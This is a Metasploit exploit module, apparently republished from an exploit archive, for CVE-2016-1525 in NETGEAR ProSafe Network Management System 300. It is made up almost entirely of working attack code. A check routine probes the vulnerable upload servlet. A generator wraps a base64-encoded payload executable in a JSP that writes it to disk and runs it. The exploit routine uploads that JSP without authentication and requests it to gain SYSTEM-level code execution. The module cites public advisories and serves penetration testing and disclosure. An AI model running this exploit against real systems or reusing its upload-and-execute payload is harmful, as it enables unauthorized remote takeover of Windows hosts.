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NETGEAR ProSafe Network Management System 300 Arbitrary File Upload

Posted on 01 March 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload',
'Description' => %q{
Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
The application has a file upload vulnerability that can be exploited by an
unauthenticated remote attacker to execute code as the SYSTEM user.
Two servlets are vulnerable, FileUploadController (located at
/lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do).
This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and
1.1.0.13.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2016-1525'],
['US-CERT-VU', '777024'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
],
'DefaultOptions' => { 'WfsDelay' => 5 },
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => true,
'Targets' =>
[
[ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 4 2016'))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, "Application path", '/'])
], self.class)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
'method' => 'GET'
})
if res && res.code == 405
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
end

def generate_jsp_payload
exe = generate_payload_exe
base64_exe = Rex::Text.encode_base64(exe)
payload_name = rand_text_alpha(rand(6)+3)

var_raw = 'a' + rand_text_alpha(rand(8) + 3)
var_ostream = 'b' + rand_text_alpha(rand(8) + 3)
var_buf = 'c' + rand_text_alpha(rand(8) + 3)
var_decoder = 'd' + rand_text_alpha(rand(8) + 3)
var_tmp = 'e' + rand_text_alpha(rand(8) + 3)
var_path = 'f' + rand_text_alpha(rand(8) + 3)
var_proc2 = 'e' + rand_text_alpha(rand(8) + 3)

jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
try {
String #{var_buf} = "#{base64_exe}";
BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe");
String #{var_path} = #{var_tmp}.getAbsolutePath();

BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
} catch (Exception e) {
}
%>
|

jsp.gsub!(/[
	
]/, '')

return jsp
end

def exploit
jsp_payload = generate_jsp_payload

jsp_name = Rex::Text.rand_text_alpha(8+rand(8))
jsp_full_name = "null#{jsp_name}.jsp"
post_data = Rex::MIME::Message.new
post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"')
post_data.add_part(jsp_payload,
"application/octet-stream", 'binary',
"form-data; name="Filedata"; filename="#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp"")
data = post_data.to_s

print_status("#{peer} - Uploading payload...")
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/
print_status("#{peer} - Payload uploaded successfully")
else
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
end

print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name),
'method' => 'GET'
})
handler
end
end

 

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